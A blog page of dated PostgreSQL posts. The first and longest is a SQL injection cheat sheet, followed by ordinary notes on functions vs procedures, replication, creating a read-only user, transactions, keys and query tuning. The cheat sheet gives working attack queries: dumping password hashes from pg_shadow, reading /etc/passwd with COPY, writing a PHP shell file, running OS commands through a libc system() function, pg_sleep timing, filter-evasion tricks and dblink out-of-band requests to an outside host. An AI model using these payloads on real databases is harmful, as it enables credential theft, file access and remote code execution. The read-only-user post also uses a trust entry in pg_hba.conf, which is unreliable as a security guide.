Friday, December 31, 2010

All stufff With postgres

Note:
#PostgreSQL and PHP supports Batched Queries.


Version:
SELECT VERSION()

Directories:
SELECT current_setting(‘data_directory’)
SELECT current_setting(‘hba_file’)
SELECT current_setting(‘config_file’)
SELECT current_setting(‘ident_file’)
SELECT current_setting(‘external_pid_file’)


Users:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();


Current Database:
SELECT current_database();


Concatenation:
SELECT 1||2||3; #Returns 123


Get Collation:
SELECT pg_client_encoding(); #Returns your current encoding (collation).


Change Collation:
SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.


Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar

Counting Columns:
SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

Get Amount of PostgreSQL Users:
SELECT COUNT(*) FROM pg_catalog.pg_user

Get PostgreSQL Users:
SELECT usename FROM pg_user


Get PostgreSQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get PostgreSQL User Privileges:
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

Get PostgreSQL User Credentials & Privileges:
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow

Get PostgreSQL DBA Accounts:
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

Get Databases:
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables:
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row:
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

Conversion (Casting):
SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

Substring:
SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.

Hexadecimal Evasion:
#Not as fancy as in MySQL, but it sure works!
SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.

ASCII to Number:
SELECT ASCII(‘A’); #Returns 65.

Number to ASCII:
SELECT CHR(65); #Returns A.

If Statement:
#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).
SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

Case Statement:
#May be used instead of the If-Statement.
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

Read File(s):
CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

Write File(s):
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘’);
COPY file(content) TO ‘/tmp/shell.php’;

Logical Operator(s):
#http://en.wikipedia.org/wiki/Logical_connective
AND
OR
NOT

Comments:
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar– Single line comment

A few evasions/methods to use between your PostgreSQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));

Auto-Casting to Right Collation:
SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

Benchmark:
#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.
SELECT (||/(9999!));

Sleep:
SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.

Get PostgreSQL IP:
SELECT inet_server_addr()
 
Get PostgreSQL Port:
SELECT inet_server_port()

Command Execution:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band)):
SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With PostgreSQL:
  • dblink: The Root Of All Evil
  • Mapping Library Functions
  • From Sleeping and Copying In PostgreSQL 8.2
  • Recommendation and Prevention
  • Introducing pgshell
That document can be found here: Having Fun With PostgreSQL.pdf, by: Nico Leidecker.
It’s a good read. All from local privilege escalation, to port-scanning techniques.

Monday, December 20, 2010

Stored Procedures vs fuctions

1) functions are used for computations where as procedures 
can be used for performing business logic.
2) functions MUST return a value, procedures need not be.
3) you can have DML(insert, update, delete) statements in a 
function. But, you cannot call such a function in a SQL 
query..eg: suppose, if u have a function that is updating a 
table.. you can't call that function in any sql query.- 
select myFunction(field) from sometable; will throw error.
4) function parameters are always IN, no OUT is possible

Sunday, December 19, 2010

Postgres Replication

Replication is the server process of copying data modifications from one location to another. The main characteristics of replication which make it appealing are:
  • The unit of replication is a transaction, not just an individual sequel (SQL) statement.
  • Replicated transactions are applied in the same order as they occurred on the primary side.
  • The replication system is able to detect whether a network connection is temporarily offline and when the component is available again. When a disruption like this occurs, the replication process should continue functioning without having to be adjusted.

Read Only User In Postgresql

Read only users in databases servers are frequently required, and generally  the method to create such user in different Database servers are very well known, such like in Mysql, Oracle, MSSQL etc...

But making a read only user in Postgresql is bit different, so here is a short and smart way.


DB name is "mydb" (i am taking a DB name as mydb)

So just login with Postgres user and DB name on which you want to set read-only permission.

# psql -U postgres mydb

#####Revoke default permissions from public group############

mydb=# REVOKE CREATE ON SCHEMA public FROM PUBLIC;

mydb=# REVOKE USAGE ON SCHEMA public FROM PUBLIC;

#####  Add back permissions for your database owner  ############

mydb=# GRANT CREATE ON SCHEMA public TO readwriteuser;

mydb=# GRANT USAGE ON SCHEMA public TO readwriteuser;

mydb=# \q

##### Now create a unprivileged User   ######

psql -U postgres -t -c "create role readonlyuser password 'abc123' NOSUPERUSER NOCREATEDB NOCREATEROLE INHERIT LOGIN;
mydb=# GRANT USAGE ON SCHEMA public TO readonlyuser;

mydb=# \q

# psql -U postgres -qAt -c "select 'grant select on ' || tablename || ' to \"readonlyuser\";' from pg_tables where schemaname = 'public'" mydb| psql -U postgres mydb

mydb=# select * from pg_namespace where nspname='public';
(Result below:)
nspname | nspowner | nspacl

---------+----------+------------------------------------------------------------------

public     | 10        | {postgres=UC/postgres,mydbuser=UC/postgres,mydbuser_ro=U/postgres}

Now test the "readonlyuser"  by creating a table in database mydb

# psql -U readonly mydb

mydb=#  CREATE TABLE films (
    code        char(5) CONSTRAINT firstkey PRIMARY KEY,
    title       varchar(40) NOT NULL,
    did         integer NOT NULL,
    date_prod   date,
    kind        varchar(10),
    len         interval hour to minute
);

ERROR:  permission denied for schema public

Above you can see that now "readonlyuser" is now not able to create a table even....  It can only perform "SELECT" statements.

Note:  These above is just for a specified schema, if you have created a different schema by other name, then change the settings accordingly.

Now Restrict the readonlyuser from pg_hba.conf

add the below line in pg_hba.conf

host    mydb    readonlyuser      192.168.23.72/32          trust

By this, a extra level of security you can force.

Database Transactions-

rollback-
Syntax- ROLLBACK
--This SQL command is used to undo the current transaction

savepoint-
Syntax- SAVEPOINT savepoint_name
--This is used to identify a point in a transaction to which we can later rollback.

commit
Syntax - COMMIT
--This command is used to make all changes permanent in database and also marks the end of transaction.
 


Database Keys

primary key:-  The attribute or combination of attributes
that uniquely identifies a row or record.

Foreign Key:- an attribute or combination of attribute in a
table whose value match a primary key in another table.

Composite key:- A primary key that consistsof two or more
attributes is known as composite key

candidate key:-  is a column in a table which has the
ability to become a primary key.

Alternate Key:- Any of the candidate keys that is not part
of the primary key is called an alternate key.
 
Alternate Key or Unique Key is similar to PK ,except it 
accepts null Values  
 
 

Tuesday, December 14, 2010

Quer Optimization

Take Unique id first in group by clause.